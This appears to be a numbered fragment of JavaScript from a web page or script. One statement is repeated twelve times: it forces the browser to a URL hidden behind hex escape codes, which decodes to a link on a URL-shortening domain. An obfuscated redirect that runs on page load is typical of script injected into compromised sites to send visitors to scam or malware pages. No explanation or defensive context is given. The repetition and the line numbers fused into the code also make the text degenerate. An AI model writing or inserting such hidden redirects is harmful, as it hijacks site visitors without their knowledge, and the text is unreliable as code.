1031window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1032window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1033window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1034window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1035window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1036window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1037window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1038window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1039window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1040window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1041window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1042window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";